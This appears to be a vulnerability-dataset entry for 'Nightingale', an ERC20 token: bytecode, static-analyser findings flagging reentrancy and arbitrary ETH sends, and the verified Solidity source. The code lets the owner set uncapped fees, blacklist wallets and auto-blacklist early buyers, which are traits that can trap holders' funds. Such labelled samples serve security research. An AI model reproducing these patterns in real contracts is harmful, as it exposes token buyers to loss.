91505092915050565b600060208284031215612a9157600080fd5b6000612a9f848285016128d1565b91505092915050565b600060208284031215612aba57600080fd5b6000612ac8848285016128e6565b91505092915050565b600060208284031215612ae357600080fd5b6000612af1848285016128fb565b91505092915050565b600080600060608486031215612b0f57600080fd5b6000612b1d86828701612910565b9350506020612b2e86828701612910565b9250506040612b3f86828701612910565b9150509250925092565b6000612b558383612b61565b60208301905092915050565b612b6a816132cc565b82525050565b612b79816132cc565b82525050565b6000612b8a82613172565b612b948185613195565b9350612b9f83613162565b8060005b83811015612bd0578151612bb78882612b49565b9750612bc283613188565b925050600181019050612ba3565b5085935050505092915050565b612be6816132de565b82525050565b612bf581613321565b82525050565b6000612c068261317d565b612c1081856131a6565b9350612c20818560208601613333565b612c298161346d565b840191505092915050565b6000612c416023836131a6565b9150612c4c8261347e565b604082019050919050565b6000612c64602a836131a6565b9150612c6f826134cd565b604082019050919050565b6000612c876022836131a6565b9150612c928261351c565b604082019050919050565b6000612caa601b836131a6565b9150612cb58261356b565b602082019050919050565b6000612ccd601d836131a6565b9150612cd882613594565b602082019050919050565b6000612cf06021836131a6565b9150612cfb826135bd565b604082019050919050565b6000612d136020836131a6565b9150612d1e8261360c565b602082019050919050565b6000612d366029836131a6565b9150612d4182613635565b604082019050919050565b6000612d596025836131a6565b9150612d6482613684565b604082019050919050565b6000612d7c6024836131a6565b9150612d87826136d3565b604082019050919050565b6000612d9f6017836131a6565b9150612daa82613722565b602082019050919050565b6000612dc26011836131a6565b9150612dcd8261374b565b602082019050919050565b612de18161330a565b82525050565b612df081613314565b82525050565b6000602082019050612e0b6000830184612b70565b92915050565b6000604082019050612e266000830185612b70565b612e336020830184612b70565b9392505050565b6000604082019050612e4f6000830185612b70565b612e5c6020830184612dd8565b9392505050565b600060c082019050612e786000830189612b70565b612e856020830188612dd8565b612e926040830187612bec565b612e9f6060830186612bec565b612eac6080830185612b70565b612eb960a0830184612dd8565b979650505050505050565b6000602082019050612ed96000830184612bdd565b92915050565b60006020820190508181036000830152612ef98184612bfb565b905092915050565b60006020820190508181036000830152612f1a81612c34565b9050919050565b60006020820190508181036000830152612f3a81612c57565b9050919050565b60006020820190508181036000830152612f5a81612c7a565b9050919050565b60006020820190508181036000830152612f7a81612c9d565b9050919050565b60006020820190508181036000830152612f9a81612cc0565b9050919050565b60006020820190508181036000830152612fba81612ce3565b9050919050565b60006020820190508181036000830152612fda81612d06565b9050919050565b60006020820190508181036000830152612ffa81612d29565b9050919050565b6000602082019050818103600083015261301a81612d4c565b9050919050565b6000602082019050818103600083015261303a81612d6f565b9050919050565b6000602082019050818103600083015261305a81612d92565b9050919050565b6000602082019050818103600083015261307a81612db5565b9050919050565b60006020820190506130966000830184612dd8565b92915050565b600060a0820190506130b16000830188612dd8565b6130be6020830187612bec565b81810360408301526130d08186612b7f565b90506130df6060830185612b70565b6130ec6080830184612dd8565b9695505050505050565b600060208201905061310b6000830184612de7565b92915050565b600061311b61312c565b90506131278282613366565b919050565b6000604051905090565b600067ffffffffffffffff8211156131515761315061343e565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c28261330a565b91506131cd8361330a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613202576132016133e0565b5b828201905092915050565b60006132188261330a565b91506132238361330a565b9250826132335761323261340f565b5b828204905092915050565b60006132498261330a565b91506132548361330a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328d5761328c6133e0565b5b828202905092915050565b60006132a38261330a565b91506132ae8361330a565b9250828210156132c1576132c06133e0565b5b828203905092915050565b60006132d7826132ea565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332c8261330a565b9050919050565b60005b83811015613351578082015181840152602081019050613336565b83811115613360576000848401525b50505050565b61336f8261346d565b810181811067ffffffffffffffff8211171561338e5761338d61343e565b5b80604052505050565b60006133a28261330a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d5576133d46133e0565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377d816132cc565b811461378857600080fd5b50565b613794816132de565b811461379f57600080fd5b50565b6137ab8161330a565b81146137b657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220178d7c1a8f64c6d7aa37d36fc164a9231dc6e4c21f3fe8d1a30c102037b4b9b964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,838 |
0xac0a99a12726c8c8688145aa3387632fff3845b8
|
/**
*Submitted for verification at Etherscan.io on 2022-04-21
*/
/**
Thou wast not born for death, immortal Bird!
No hungry generations tread thee down;
The voice I hear this passing night was heard
In ancient days by emperor and clown:
Perhaps the self-same song that found a path
Through the sad heart of Ruth, when, sick for home,
She stood in tears amid the alien corn;
The same that oft-times hath
Charm'd magic casements, opening on the foam
Of perilous seas, in faery lands forlorn.
t.me/nightingaledarkwinds
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Nightingale is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Nightingale";//
string private constant _symbol = "DARKWINDS";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 666666666666 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 6;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 6;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x7Cc99c4F31aeFe75AD143679979186f4616993bb);//
address payable private _marketingAddress = payable(0x290A88339c572C461CC65f85d29950A575eF7Bf0);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 3333333333 * 10**9; //
uint256 public _maxWalletSize = 6666666666 * 10**9; //
uint256 public _swapTokensAtAmount = 66666666 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600b81526020017f4e69676874696e67616c65000000000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000682423dbc92e6cae2400905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600981526020017f4441524b57494e44530000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073fffffffffffffff